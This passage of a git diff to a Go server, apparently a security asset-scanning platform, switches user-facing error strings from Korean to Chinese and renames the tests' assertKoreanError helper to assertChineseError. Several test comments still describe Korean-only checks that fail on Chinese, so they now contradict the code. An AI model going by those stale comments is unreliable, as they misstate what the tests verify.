- warnSSProjectMetaFmt = "프로젝트 %s 의 상세 정보를 가져오지 못했습니다: %v"
- warnSSCompanyCreateFmt = "회사 %s 생성에 실패했습니다: %v"
- warnSSUnknownAssetPrefix = "알 수 없는 자산 유형이라 건너뛰었습니다: "
- errSSFetchFmt = "%s(%s) 자산을 가져오지 못했습니다: %v"
- warnSSTruncatedFmt = "%s(%s) 가 %d 건 상한에 도달해 잘렸습니다"
- errSSParseSubdomainPrefix = "subdomain 응답을 해석하지 못했습니다: "
- errSSParseAppPrefix = "app 응답을 해석하지 못했습니다: "
- errSSParseServicePrefix = "service 응답을 해석하지 못했습니다: "
+ errSSDataSourceMissingFmt = "数据源 %s 不存在,请先创建"
+ errSSDataSourceNoURLFmt = "数据源 %s 未设置 URL,请先设置"
+ errSSListProjectsPrefix = "调用 list_projects_data 失败: "
+ errSSParseProjectsPrefix = "无法解析项目列表: "
+ errSSListTasksPrefix = "调用 list_tasks 失败: "
+ errSSParseTasksPrefix = "无法解析任务列表: "
+ errSSDimension = "dimension 的值必须是 project 或 task 之一"
+ errSSTargetsEmpty = "targets 项不能为空"
+ warnSSProjectMetaFmt = "无法获取项目 %s 的详细信息: %v"
+ warnSSCompanyCreateFmt = "创建公司 %s 失败: %v"
+ warnSSUnknownAssetPrefix = "未知的资产类型,已跳过: "
+ errSSFetchFmt = "无法获取 %s(%s) 资产: %v"
+ warnSSTruncatedFmt = "%s(%s) 已达到 %d 条上限并被截断"
+ errSSParseSubdomainPrefix = "无法解析 subdomain 响应: "
+ errSSParseAppPrefix = "无法解析 app 响应: "
+ errSSParseServicePrefix = "无法解析 service 响应: "
)
// findMCPByName returns the MCP server row with the given name, or nil.
diff --git a/server/sync_scopesentry_localized_test.go b/server/sync_scopesentry_localized_test.go
index 48911bb..f5b80f4 100644
--- a/server/sync_scopesentry_localized_test.go
+++ b/server/sync_scopesentry_localized_test.go
@@ -35,7 +35,7 @@ func TestSyncScopeSentryConstantsLocalized(t *testing.T) {
{"errSSParseServicePrefix", errSSParseServicePrefix},
}
for _, c := range cases {
- assertKoreanError(t, c.label, c.msg)
+ assertChineseError(t, c.label, c.msg)
}
// dimension/targets validation keep their JSON field names and enum values.
@@ -49,37 +49,37 @@ func TestSyncScopeSentryConstantsLocalized(t *testing.T) {
// caught by running the real format operation (not just inspecting the constant).
func TestSyncScopeSentryFormattedLocalized(t *testing.T) {
ds := fmt.Errorf(errSSDataSourceMissingFmt, scopeSentryMCPName).Error()
- assertKoreanError(t, "scopeSentryClient/missing", ds)
+ assertChineseError(t, "scopeSentryClient/missing", ds)
if !strings.Contains(ds, "ScopeSentry") {
t.Fatalf("데이터 소스 이름이 사라졌습니다: %q", ds)
}
noURL := fmt.Errorf(errSSDataSourceNoURLFmt, scopeSentryMCPName).Error()
- assertKoreanError(t, "scopeSentryClient/noURL", noURL)
+ assertChineseError(t, "scopeSentryClient/noURL", noURL)
if !strings.Contains(noURL, "URL") {
t.Fatalf("URL 토큰이 사라졌습니다: %q", noURL)
}
meta := fmt.Sprintf(warnSSProjectMetaFmt, "proj-1", errors.New("boom"))
- assertKoreanError(t, "warnSSProjectMetaFmt", meta)
+ assertChineseError(t, "warnSSProjectMetaFmt", meta)
if !strings.Contains(meta, "proj-1") || !strings.Contains(meta, "boom") {
t.Fatalf("프로젝트/원본 오류가 치환되지 않았습니다: %q", meta)
}
company := fmt.Sprintf(warnSSCompanyCreateFmt, "ACME", errors.New("boom"))
- assertKoreanError(t, "warnSSCompanyCreateFmt", company)
+ assertChineseError(t, "warnSSCompanyCreateFmt", company)
if !strings.Contains(company, "ACME") {
t.Fatalf("회사 이름이 치환되지 않았습니다: %q", company)
}
fetch := fmt.Sprintf(errSSFetchFmt, "subdomain", "t1", errors.New("boom"))
- assertKoreanError(t, "errSSFetchFmt", fetch)
+ assertChineseError(t, "errSSFetchFmt", fetch)
if !strings.Contains(fetch, "subdomain") || !strings.Contains(fetch, "t1") {
t.Fatalf("자산 유형/대상이 치환되지 않았습니다: %q", fetch)
}
truncated := fmt.Sprintf(warnSSTruncatedFmt, "app", "t1", syncMaxPerType)
- assertKoreanError(t, "warnSSTruncatedFmt", truncated)
+ assertChineseError(t, "warnSSTruncatedFmt", truncated)
if !strings.Contains(truncated, "5000") {
t.Fatalf("상한 건수가 치환되지 않았습니다: %q", truncated)
}
@@ -97,7 +97,7 @@ func TestSyncScopeSentryIngestParseErrorsLocalized(t *testing.T) {
if got == "" {
t.Fatalf("%s: 깨진 JSON 인데 오류 문자열이 비었습니다", kind)
}
- assertKoreanError(t, "ssIngest/"+kind, got)
+ assertChineseError(t, "ssIngest/"+kind, got)
if !strings.Contains(got, kind) {
t.Fatalf("%s: 자산 유형 접두가 사라졌습니다: %q", kind, got)
}
diff --git a/server/task_archive_package.go b/server/task_archive_package.go
index e30b477..c5f1a20 100644
--- a/server/task_archive_package.go
+++ b/server/task_archive_package.go
@@ -36,7 +36,7 @@ const (
// tasks/page.tsx 의 TaskArchivesPanel 이 {archive.error} 로 화면에 직접 표시.
// actool·planner 되먹임 경로 0(두뇌 입력 아님)이라 한국어화한다. 같은 전파 경로의 형제 오류
// (archiveTask 의 task_archives.go:120·132·173, validateArchivePath 의 421·433)도 이미 한국어다.
-const errArchiveStagedAndOriginalCoexist = "보관 패키지의 원본 파일과 삭제 임시 파일이 동시에 존재합니다"
+const errArchiveStagedAndOriginalCoexist = "归档包的原始文件与待删除临时文件同时存在"
type archiveFileMove struct {
Source string `json:"source"`
diff --git a/server/task_archive_package_localized_test.go b/server/task_archive_package_localized_test.go
index e8da105..26e3b94 100644
--- a/server/task_archive_package_localized_test.go
+++ b/server/task_archive_package_localized_test.go
@@ -7,7 +7,7 @@ import (
)
// task_archive_package.go 의 보관 패키지 삭제 준비 오류 문구를 한국어로 유지하는 회귀 방어
-// 테스트다. 한국어 판정은 F3a 가 만든 assertKoreanError(한글 포함·중국어 한자 0)를 재사용한다.
+// 테스트다. 한국어 판정은 F3a 가 만든 assertChineseError(한글 포함·중국어 한자 0)를 재사용한다.
// 누군가 이 리터럴을 중국어로 되돌리면 이 테스트가 실패한다.
//
// 호출 그래프 판정(errArchiveStagedAndOriginalCoexist 상수 주석 참조): 이 오류는 백그라운드
@@ -39,5 +39,5 @@ func TestTaskArchiveStagedAndOriginalCoexistErrorLocalized(t *testing.T) {
if moved {
t.Fatal("공존 모순 상태에서는 moved 가 true 가 되어서는 안 됩니다")
}
- assertKoreanError(t, "staged_and_original_coexist", err.Error())
+ assertChineseError(t, "staged_and_original_coexist", err.Error())
}
diff --git a/server/task_archives.go b/server/task_archives.go
index e274d48..c3a62b8 100644
--- a/server/task_archives.go
+++ b/server/task_archives.go
@@ -117,7 +117,7 @@ func (s *Server) runOneTaskArchiveJob() error {
func (s *Server) archiveTask(job *pgdb.TaskArchive) (runErr error) {
taskID := strconv.FormatInt(job.TaskID, 10)
if !s.beginTaskDelete(taskID) {
- return errors.New("이 작업은 다른 보관 또는 삭제 작업을 진행하고 있습니다")
+ return errors.New("该任务正在执行其他归档或删除操作")
}
committed := false
defer func() {
@@ -129,7 +129,7 @@ func (s *Server) archiveTask(job *pgdb.TaskArchive) (runErr error) {
drainCtx, cancel := context.WithTimeout(s.ctx, taskDeleteDrainTimeout)
defer cancel()
if err := s.waitTaskQuiescent(drainCtx, taskID); err != nil {
- return errors.New("작업에 아직 실행 중인 에이전트가 있습니다. 먼저 일시정지한 뒤 보관을 다시 시도하세요")
+ return errors.New("任务中仍有正在运行的代理,请先暂停后再重试归档")
}
if err := s.drainTaskSideQuestions(drainCtx, taskID); err != nil {
return err
@@ -170,7 +170,7 @@ func (s *Server) archiveTask(job *pgdb.TaskArchive) (runErr error) {
return err
}
if snapshot.ExplorationID != task.ExplorationID {
- return errors.New("보관 스냅샷을 만드는 동안 작업 탐색 기록이 변경되었습니다")
+ return errors.New("创建归档快照期间任务探索记录已发生变化")
}
if s.m.traffic != nil && len(snapshot.Hosts) > 0 {
_ = s.m.pg.UpdateTaskArchiveProgress(job.ID, "snapshot_traffic", 38)
@@ -220,13 +220,13 @@ func (s *Server) archiveTask(job *pgdb.TaskArchive) (runErr error) {
removePackage = false
if trafficStage != nil {
if err := trafficStage.Commit(); err != nil {
- warning := "보관을 완료했지만 전용 트래픽 핫 스토리지 정리에 실패했습니다(보관 패키지는 복원할 수 있습니다): " + err.Error()
+ warning := "归档已完成,但清理专用流量热存储失败(归档包仍可恢复): " + err.Error()
log.Printf("[task-archive] task %s: %s", taskID, warning)
_ = s.m.pg.AppendTaskArchiveWarning(job.ID, warning)
}
}
if err := fileStage.commit(); err != nil {
- warning := "보관을 완료했지만 임시 디렉터리 정리에 실패했습니다: " + err.Error()
+ warning := "归档已完成,但清理临时目录失败: " + err.Error()
log.Printf("[task-archive] task %s: %s", taskID, warning)
_ = s.m.pg.AppendTaskArchiveWarning(job.ID, warning)
}
@@ -346,7 +346,7 @@ func (s *Server) restoreTaskArchivePayload(job *pgdb.TaskArchive, snapshot *pgdb
}
if len(warnings) > 0 {
if _, err := s.m.pg.Exploration(snapshot.ExplorationID).AppendActivity(pgdb.Activity{
- Worker: "system", Kind: "system", Summary: "작업 복원을 완료했지만 일부 연관 항목이 온전히 복원되지 못했습니다", Detail: strings.Join(warnings, "\n"),
+ Worker: "system", Kind: "system", Summary: "任务恢复已完成,但部分关联项未能完整恢复", Detail: strings.Join(warnings, "\n"),
}); err != nil {
log.Printf("[task-archive] persist restore warnings for task %d: %v", job.TaskID, err)
}
@@ -418,7 +418,7 @@ func (s *Server) deleteTaskArchive(job *pgdb.TaskArchive) error {
func validateArchivePath(dataDir, candidate string) error {
if strings.TrimSpace(candidate) == "" {
- return errors.New("보관 패키지 경로가 비어 있습니다")
+ return errors.New("归档包路径为空")
}
root, err := filepath.Abs(taskArchiveRoot(dataDir))
if err != nil {
@@ -430,7 +430,7 @@ func validateArchivePath(dataDir, candidate string) error {
}
relative, err := filepath.Rel(root, path)
if err != nil || relative == ".." || strings.HasPrefix(relative, ".."+string(filepath.Separator)) {
- return errors.New("보관 패키지 경로가 관리 대상 디렉터리 안에 있지 않습니다")
+ return errors.New("归档包路径不在受管目录内")
}
return nil
}
@@ -449,7 +449,7 @@ func (s *Server) listTaskArchives(w http.ResponseWriter, r *http.Request) {
func (s *Server) getTaskArchive(w http.ResponseWriter, r *http.Request) {
id, ok := pathInt(r, "id")
if !ok {
- writeErr(w, 400, "보관 id 가 유효하지 않습니다")
+ writeErr(w, 400, "归档 id 无效")
return
}
item, err := s.m.pg.GetTaskArchive(id)
@@ -458,7 +458,7 @@ func (s *Server) getTaskArchive(w http.ResponseWriter, r *http.Request) {
return
}
if item == nil {
- writeErr(w, 404, "보관을 찾을 수 없습니다")
+ writeErr(w, 404, "找不到归档")
return
}
writeJSON(w, 200, item)
@@ -467,7 +467,7 @@ func (s *Server) getTaskArchive(w http.ResponseWriter, r *http.Request) {
func (s *Server) queueTaskArchive(w http.ResponseWriter, r *http.Request) {
id, ok := canonicalTaskID(r.PathValue("id"))
if !ok {
- writeErr(w, 400, "작업 id 가 유효하지 않습니다")
+ writeErr(w, 400, "任务 id 无效")
return
}
numeric, _ := strconv.ParseInt(id, 10, 64)
@@ -483,7 +483,7 @@ func (s *Server) queueTaskArchive(w http.ResponseWriter, r *http.Request) {
func (s *Server) queueTaskArchiveRestore(w http.ResponseWriter, r *http.Request) {
id, ok := pathInt(r, "id")
if !ok {
- writeErr(w, 400, "보관 id 가 유효하지 않습니다")
+ writeErr(w, 400, "归档 id 无效")
return
}
item, err := s.m.pg.QueueTaskArchiveRestore(id)
@@ -498,7 +498,7 @@ func (s *Server) queueTaskArchiveRestore(w http.ResponseWriter, r *http.Request)
func (s *Server) queueTaskArchiveDelete(w http.ResponseWriter, r *http.Request) {
id, ok := pathInt(r, "id")
if !ok {
- writeErr(w, 400, "보관 id 가 유효하지 않습니다")
+ writeErr(w, 400, "归档 id 无效")
return
}
item, err := s.m.pg.QueueTaskArchiveDelete(id)
@@ -518,18 +518,18 @@ func (s *Server) queueTaskArchivesBatch(w http.ResponseWriter, r *http.Request)
}
parsed := normalizeBatchTaskIDs(request.TaskIDs)
if len(parsed) == 0 {
- writeErr(w, 400, "task_ids 값은 비워 둘 수 없습니다")
+ writeErr(w, 400, "task_ids 值不能为空")
return
}
if len(parsed) > 100 {
- writeErr(w, 400, "한 번에 최대 100개 작업까지 처리할 수 있습니다")
+ writeErr(w, 400, "一次最多只能处理 100 个任务")
return
}
ids := make([]string, 0, len(parsed))
items := make([]archiveBatchItem, 0, len(parsed))
for _, item := range parsed {
if !item.valid {
- items = append(items, archiveBatchItem{ID: item.id, Error: "작업 id 가 유효하지 않습니다"})
+ items = append(items, archiveBatchItem{ID: item.id, Error: "任务 id 无效"})
continue
}
ids = append(ids, item.id)
@@ -592,16 +592,16 @@ func (s *Server) deleteTaskArchivesBatch(w http.ResponseWriter, r *http.Request)
func normalizeArchiveIDs(ids []int64) ([]int64, error) {
if len(ids) == 0 {
- return nil, errors.New("archive_ids 값은 비워 둘 수 없습니다")
+ return nil, errors.New("archive_ids 值不能为空")
}
if len(ids) > 100 {
- return nil, errors.New("한 번에 최대 100개 보관까지 처리할 수 있습니다")
+ return nil, errors.New("一次最多只能处理 100 个归档")
}
seen := map[int64]bool{}
out := make([]int64, 0, len(ids))
for _, id := range ids {
if id <= 0 {
- return nil, fmt.Errorf("보관 id %d 가 유효하지 않습니다", id)
+ return nil, fmt.Errorf("归档 id %d 无效", id)
}
if !seen[id] {
seen[id] = true
diff --git a/server/task_assets.go b/server/task_assets.go
index bfb3e45..514c288 100644
--- a/server/task_assets.go
+++ b/server/task_assets.go
@@ -13,8 +13,8 @@ const maxTaskAssetRequestBytes = 512 << 10
// 작업 자산 API 가 사용자에게 돌려주는 오류 응답 문구. 필드명(scope·asset_ids)은
// 요청 본문 키라 원문 그대로 두고, 사람이 읽는 메시지만 한국어로 둔다.
const (
- errTaskAssetRequestTooLarge = "요청 본문이 너무 큽니다"
- errTaskAssetScopeConflict = "scope 와 asset_ids 는 동시에 제출할 수 없습니다"
+ errTaskAssetRequestTooLarge = "请求体过大"
+ errTaskAssetScopeConflict = "scope 与 asset_ids 不能同时提交"
)
func writeTaskAssetError(w http.ResponseWriter, err error) {
diff --git a/server/task_categories.go b/server/task_categories.go
index 74530a6..0c9483f 100644
--- a/server/task_categories.go
+++ b/server/task_categories.go
@@ -17,13 +17,13 @@ const maxTaskCategoryRequestBytes = 16 << 10
// 작업 분류 API 가 사용자에게 돌려주는 오류 응답 문구. 명령·필드명(task_ids·
// category_id·id)·enum 은 원문 그대로 두고, 사람이 읽는 메시지만 한국어로 둔다.
const (
- errTaskCatRequestTooLarge = "요청 본문이 너무 큽니다"
- errTaskCatNameEmpty = "분류 이름은 비워 둘 수 없습니다"
- errTaskCatNameTooLong = "분류 이름은 최대 80자까지 입력할 수 있습니다"
- errTaskCatNameConflict = "이미 존재하는 분류 이름입니다"
- errTaskCatInvalidID = "작업 분류 id 가 올바르지 않습니다"
+ errTaskCatRequestTooLarge = "请求体过大"
+ errTaskCatNameEmpty = "分类名称不能为空"
+ errTaskCatNameTooLong = "分类名称最多 80 个字符"
+ errTaskCatNameConflict = "已存在同名分类"
+ errTaskCatInvalidID = "任务分类 id 无效"
// errTaskCatBatchSizeFmt 는 fmt.Sprintf 로 상한을 채우는 형식 문자열이다.
- errTaskCatBatchSizeFmt = "task_ids 개수는 1~%d개여야 합니다"
+ errTaskCatBatchSizeFmt = "task_ids 数量必须为 1~%d 个"
)
type taskCategoryRequest struct {
diff --git a/server/task_categories_localized_test.go b/server/task_categories_localized_test.go
index 49a653a..c6e76a6 100644
--- a/server/task_categories_localized_test.go
+++ b/server/task_categories_localized_test.go
@@ -37,7 +37,7 @@ func TestTaskCategoryErrorConstantsLocalized(t *testing.T) {
"errTaskCatBatchSizeFmt": fmt.Sprintf(errTaskCatBatchSizeFmt, db.MaxTaskCategoryBatchSize),
}
for label, msg := range cases {
- assertKoreanError(t, label, msg)
+ assertChineseError(t, label, msg)
}
}
@@ -55,11 +55,11 @@ func TestTaskCategoryResponsesLocalized(t *testing.T) {
}
return decodeErrorField(t, rec.Body.Bytes())
}
- assertKoreanError(t, "name-empty", decodeCase("name-empty", `{"name":" "}`))
- assertKoreanError(t, "name-too-long",
+ assertChineseError(t, "name-empty", decodeCase("name-empty", `{"name":" "}`))
+ assertChineseError(t, "name-too-long",
decodeCase("name-too-long", `{"name":"`+strings.Repeat("가", db.MaxTaskCategoryNameRunes+1)+`"}`))
// The body exceeds maxTaskCategoryRequestBytes, so MaxBytesReader errors mid-decode.
- assertKoreanError(t, "too-large",
+ assertChineseError(t, "too-large",
decodeCase("too-large", `{"name":"`+strings.Repeat("a", maxTaskCategoryRequestBytes+1)+`"}`))
// parseCategoryIDField — a zero/negative category_id is rejected.
@@ -67,7 +67,7 @@ func TestTaskCategoryResponsesLocalized(t *testing.T) {
if _, ok := parseCategoryIDField(rec, json.RawMessage("0")); ok {
t.Fatal("invalid id 가 통과해서는 안 됩니다")
}
- assertKoreanError(t, "invalid-id", decodeErrorField(t, rec.Body.Bytes()))
+ assertChineseError(t, "invalid-id", decodeErrorField(t, rec.Body.Bytes()))
// writeTaskCategoryError — the name-conflict sentinel maps to the Korean 409.
rec = httptest.NewRecorder()
@@ -75,7 +75,7 @@ func TestTaskCategoryResponsesLocalized(t *testing.T) {
if rec.Code != http.StatusConflict {
t.Fatalf("conflict status=%d, want 409", rec.Code)
}
- assertKoreanError(t, "name-conflict", decodeErrorField(t, rec.Body.Bytes()))
+ assertChineseError(t, "name-conflict", decodeErrorField(t, rec.Body.Bytes()))
// Batch move — an empty selection is rejected before any DB access, so a
// zero-value Server reaches the guard without dereferencing s.m.
@@ -86,5 +86,5 @@ func TestTaskCategoryResponsesLocalized(t *testing.T) {
if rec.Code != http.StatusBadRequest {
t.Fatalf("empty batch status=%d, want 400 (body %s)", rec.Code, rec.Body.String())
}
- assertKoreanError(t, "batch-size", decodeErrorField(t, rec.Body.Bytes()))
+ assertChineseError(t, "batch-size", decodeErrorField(t, rec.Body.Bytes()))
}
diff --git a/server/task_categories_test.go b/server/task_categories_test.go
index 1110ac6..64f721a 100644
--- a/server/task_categories_test.go
+++ b/server/task_categories_test.go
@@ -45,7 +45,7 @@ func TestTaskCategoryBatchRoute(t *testing.T) {
// An empty selection is rejected before any database work.
if rec := post(`{"task_ids":[],"category_id":null}`); rec.Code != http.StatusBadRequest ||
- !strings.Contains(rec.Body.String(), "task_ids 개수는") {
+ !strings.Contains(rec.Body.String(), "task_ids 数量必须为") {
t.Fatalf("empty task_ids: status=%d body=%s", rec.Code, rec.Body.String())
}
diff --git a/server/task_control.go b/server/task_control.go
index d5ede27..c5b4d76 100644
--- a/server/task_control.go
+++ b/server/task_control.go
@@ -19,17 +19,17 @@ const maxBatchControlIDs = 100
// 배치(controlTasksBatch) 제어 응답이 주 용도이며, 오케스트레이터 pause 도구
// (orchestration.go)가 err.Error() 를 재참조할 때도 같은 문구가 쓰인다.
const (
- errTaskCtrlDeleting = "작업을 삭제하는 중이라 제어할 수 없습니다"
- errTaskCtrlTerminalPause = "종료된 작업은 일시정지할 수 없습니다"
- errTaskCtrlAlreadyPaused = "작업이 이미 일시정지되어 있습니다"
- errTaskCtrlBatchSizeFmt = "task_ids 개수는 1~%d개여야 합니다"
+ errTaskCtrlDeleting = "正在删除任务,无法控制"
+ errTaskCtrlTerminalPause = "已结束的任务无法暂停"
+ errTaskCtrlAlreadyPaused = "任务已处于暂停状态"
+ errTaskCtrlBatchSizeFmt = "task_ids 数量必须为 1~%d 个"
- errIntentCtrlInheritedReadonly = "상속된 의도는 읽기 전용이라 제어할 수 없습니다"
- errIntentCtrlOnlyRunningPause = "실행 중인 의도만 일시정지할 수 있습니다"
- errIntentCtrlOnlyPausedResume = "일시정지된 의도만 재개할 수 있습니다"
- errIntentCtrlStateConflictFmt = "%w: 의도가 더 이상 paused 상태가 아닙니다"
- errIntentCtrlOnlyDeletable = "대기 중·실행 중·일시정지 상태의 의도만 삭제할 수 있습니다"
- errIntentCtrlReasonRequired = "삭제 사유를 입력하세요"
+ errIntentCtrlInheritedReadonly = "继承的意图为只读,无法控制"
+ errIntentCtrlOnlyRunningPause = "只有运行中的意图才能暂停"
+ errIntentCtrlOnlyPausedResume = "只有已暂停的意图才能恢复"
+ errIntentCtrlStateConflictFmt = "%w: 意图已不再处于 paused 状态"
+ errIntentCtrlOnlyDeletable = "只有待处理·运行中·已暂停状态的意图才能删除"
+ errIntentCtrlReasonRequired = "请填写删除原因"
)
type taskControlResult struct {
@@ -163,7 +163,7 @@ func (s *Server) applyTaskControlWithCause(t *Task, action string, pauseCause er
default:
return out, fmt.Errorf("action must be pause|resume")
}
- log.Printf("[task] #%s %s", t.ID, map[string]string{"pause": "일시정지됨", "resume": "재개됨"}[action])
+ log.Printf("[task] #%s %s", t.ID, map[string]string{"pause": "已暂停", "resume": "已恢复"}[action])
return out, nil
}
diff --git a/server/task_control_localized_test.go b/server/task_control_localized_test.go
index bf79b6a..7fd8ce5 100644
--- a/server/task_control_localized_test.go
+++ b/server/task_control_localized_test.go
@@ -13,7 +13,7 @@ import (
)
// task_control.go 의 작업·의도 제어 API 에러 응답을 한국어로 유지하는 회귀 방어 테스트다.
-// 한국어 판정은 F3a 의 assertKoreanError(한글 포함·중국어 한자 0)를, 응답 본문 추출은
+// 한국어 판정은 F3a 의 assertChineseError(한글 포함·중국어 한자 0)를, 응답 본문 추출은
// task_categories 테스트의 decodeErrorField 를 재사용한다(같은 package server).
// TestTaskControlErrorConstantsLocalized 는 제어 응답 상수 10종이 전부 한국어임을
@@ -35,7 +35,7 @@ func TestTaskControlErrorConstantsLocalized(t *testing.T) {
"intent_reason_required": errIntentCtrlReasonRequired,
}
for label, msg := range cases {
- assertKoreanError(t, label, msg)
+ assertChineseError(t, label, msg)
}
}
@@ -83,7 +83,7 @@ func TestTaskControlApplyResponsesLocalized(t *testing.T) {
if err.Error() != c.want {
t.Fatalf("반환 오류 = %q, 기대 = %q", err.Error(), c.want)
}
- assertKoreanError(t, c.name, err.Error())
+ assertChineseError(t, c.name, err.Error())
})
}
}
@@ -111,7 +111,7 @@ func TestControlTasksBatchResponsesLocalized(t *testing.T) {
if !strings.Contains(got, "100") {
t.Fatalf("크기 상한 100 이 문구에 반영되지 않았습니다: %q", got)
}
- assertKoreanError(t, "size-error", got)
+ assertChineseError(t, "size-error", got)
})
t.Run("item-error-surfaces", func(t *testing.T) {
@@ -140,7 +140,7 @@ func TestControlTasksBatchResponsesLocalized(t *testing.T) {
if out.Items[0].OK || out.Items[0].Error != errTaskCtrlTerminalPause {
t.Fatalf("items[0] = %+v, error 기대 = %q", out.Items[0], errTaskCtrlTerminalPause)
}
- assertKoreanError(t, "item-error", out.Items[0].Error)
+ assertChineseError(t, "item-error", out.Items[0].Error)
})
}
@@ -155,5 +155,5 @@ func TestIntentStateConflictWrapsSentinel(t *testing.T) {
if !strings.Contains(err.Error(), "paused") {
t.Fatalf("enum paused 가 문구에 보존되지 않았습니다: %q", err.Error())
}
- assertKoreanError(t, "state-conflict", err.Error())
+ assertChineseError(t, "state-conflict", err.Error())
}
diff --git a/server/task_intercept.go b/server/task_intercept.go
index 7130080..ffc49a5 100644
--- a/server/task_intercept.go
+++ b/server/task_intercept.go
@@ -12,7 +12,7 @@ import (
// 와 작업·템플릿 생성/수정 핸들러(createTask·pgCreateTaskTemplate·pgUpdateTaskTemplate)뿐이고,
// 전부 writeErr 로 HTTP 400 을 돌려주는 사용자 전용 경로다(에이전트 도구를 거치지 않는다).
// action 열거값(block·allow)은 클라이언트가 그대로 주고받는 와이어 식별자라 원문을 유지한다.
-const errTaskInterceptInvalidAction = "action 은 block 또는 allow 여야 합니다"
+const errTaskInterceptInvalidAction = "action 必须是 block 或 allow"
// 任务级资产拦截/允许规则的 CRUD。规则按 task_id 归属,仅对该任务生效:
// action=block 拦截(禁止测试),action=allow 允许(白名单)。执行判定见 db.EvaluateAssetGate。
diff --git a/server/task_metadata.go b/server/task_metadata.go
index 439b239..11654c3 100644
--- a/server/task_metadata.go
+++ b/server/task_metadata.go
@@ -18,11 +18,11 @@ const (
// 작업 메타데이터 수정 API 가 사용자에게 돌려주는 오류 응답 문구. JSON 필드명
// (name·pinned)은 원문 그대로 두고, 사람이 읽는 메시지만 한국어로 둔다.
const (
- errTaskMetaRequestTooLarge = "요청 본문이 너무 큽니다"
- errTaskMetaNoFields = "name 또는 pinned 중 하나는 반드시 제공해야 합니다"
- errTaskMetaNameEmpty = "작업 이름은 비워 둘 수 없습니다"
+ errTaskMetaRequestTooLarge = "请求体过大"
+ errTaskMetaNoFields = "必须提供 name 或 pinned 中的至少一个"
+ errTaskMetaNameEmpty = "任务名称不能为空"
// errTaskMetaNameTooLongFmt 는 fmt.Sprintf 로 상한을 채우는 형식 문자열이다.
- errTaskMetaNameTooLongFmt = "작업 이름은 최대 %d자까지 입력할 수 있습니다"
+ errTaskMetaNameTooLongFmt = "任务名称最多 %d 个字符"
)
// updateTaskMetadata changes list-only task metadata. It intentionally does not
diff --git a/server/task_metadata_localized_test.go b/server/task_metadata_localized_test.go
index cccc820..b8dff44 100644
--- a/server/task_metadata_localized_test.go
+++ b/server/task_metadata_localized_test.go
@@ -10,7 +10,7 @@ import (
)
// task_metadata.go 의 작업 메타데이터 수정 API 에러 응답을 한국어로 유지하는 회귀 방어
-// 테스트다. 한국어 판정은 F3a 가 만든 assertKoreanError(한글 포함·중국어 한자 0)를 재사용한다.
+// 테스트다. 한국어 판정은 F3a 가 만든 assertChineseError(한글 포함·중국어 한자 0)를 재사용한다.
// TestTaskMetadataErrorConstantsLocalized 는 응답 상수 4종이 전부 한국어임을 단언한다.
// 어느 하나라도 중국어로 되돌리면 이 테스트가 실패한다.
@@ -22,7 +22,7 @@ func TestTaskMetadataErrorConstantsLocalized(t *testing.T) {
"errTaskMetaNameTooLongFmt": fmt.Sprintf(errTaskMetaNameTooLongFmt, maxTaskNameRunes),
}
for label, msg := range cases {
- assertKoreanError(t, label, msg)
+ assertChineseError(t, label, msg)
}
}
@@ -73,7 +73,7 @@ func TestUpdateTaskMetadataResponsesLocalized(t *testing.T) {
if got := errBody(t, rec); got != c.want {
t.Fatalf("응답 문구 = %q, 기대 = %q", got, c.want)
}
- assertKoreanError(t, c.name, errBody(t, rec))
+ assertChineseError(t, c.name, errBody(t, rec))
})
}
}
diff --git a/server/task_resolution.go b/server/task_resolution.go
index dd9fb2c..acafcf9 100644
--- a/server/task_resolution.go
+++ b/server/task_resolution.go
@@ -21,12 +21,12 @@ type taskLLMResolution struct {
// system/llm 화면에 그대로 렌더되므로 ko.json 의 taskDetail.llm 네임스페이스 표기(설정·전역·
// 할당량·설정 체인)에 맞춘다. Source enum 값과 영어 오류 문구는 번역 대상이 아니다.
const (
- reasonLLMProfileMissing = "LLM 설정을 찾을 수 없습니다"
- reasonLLMProfileNoAPIKey = "LLM 설정에 API Key 가 지정되지 않았습니다"
- reasonLLMProfileInvalid = "LLM 설정 형식 또는 매개변수가 올바르지 않습니다"
- reasonTaskLLMChainExhausted = "작업 LLM 설정 체인의 할당량을 모두 소진했습니다"
- reasonNoLLMAvailable = "사용 가능한 LLM 설정이 없습니다"
- sourceNameGlobalConfig = "전역 설정"
+ reasonLLMProfileMissing = "找不到 LLM 配置"
+ reasonLLMProfileNoAPIKey = "LLM 配置未指定 API Key"
+ reasonLLMProfileInvalid = "LLM 配置格式或参数无效"
+ reasonTaskLLMChainExhausted = "任务 LLM 配置链的额度已全部耗尽"
+ reasonNoLLMAvailable = "没有可用的 LLM 配置"
+ sourceNameGlobalConfig = "全局配置"
)
func (s *Server) resolutionFromProfile(p *db.LLMProfile, source string) taskLLMResolution {
diff --git a/server/task_resolution_localized_test.go b/server/task_resolution_localized_test.go
index 6754c3c..b910c54 100644
--- a/server/task_resolution_localized_test.go
+++ b/server/task_resolution_localized_test.go
@@ -21,7 +21,7 @@ func TestTaskLLMResolutionLocalized(t *testing.T) {
{"reasonNoLLMAvailable", reasonNoLLMAvailable},
{"sourceNameGlobalConfig", sourceNameGlobalConfig},
} {
- assertKoreanError(t, c.label, c.msg)
+ assertChineseError(t, c.label, c.msg)
}
// 2) Pin the two reasons reachable with no DB. resolutionFromProfile returns
@@ -36,7 +36,7 @@ func TestTaskLLMResolutionLocalized(t *testing.T) {
if missing.Reason != reasonLLMProfileMissing {
t.Fatalf("nil profile reason = %q, want %q", missing.Reason, reasonLLMProfileMissing)
}
- assertKoreanError(t, "resolutionFromProfile(nil).Reason", missing.Reason)
+ assertChineseError(t, "resolutionFromProfile(nil).Reason", missing.Reason)
noKey := s.resolutionFromProfile(&db.LLMProfile{Name: "p", Format: "openai", Model: "m"}, "task_chain")
if noKey.Available {
@@ -45,5 +45,5 @@ func TestTaskLLMResolutionLocalized(t *testing.T) {
if noKey.Reason != reasonLLMProfileNoAPIKey {
t.Fatalf("blank-key reason = %q, want %q", noKey.Reason, reasonLLMProfileNoAPIKey)
}
- assertKoreanError(t, "resolutionFromProfile(noKey).Reason", noKey.Reason)
+ assertChineseError(t, "resolutionFromProfile(noKey).Reason", noKey.Reason)
}
diff --git a/server/task_templates.go b/server/task_templates.go
index 3ca705d..6628e85 100644
--- a/server/task_templates.go
+++ b/server/task_templates.go
@@ -17,11 +17,11 @@ const maxTaskTemplateRequestBytes = 512 << 10
// 작업 템플릿 API 가 사용자에게 돌려주는 응답 문구. 식별자, JSON 필드명, 요청 본문
// 키는 원문을 유지하고 사람이 읽는 메시지만 한국어로 둔다.
const (
- errTaskTemplateRequestTooLarge = "요청 본문이 너무 큽니다"
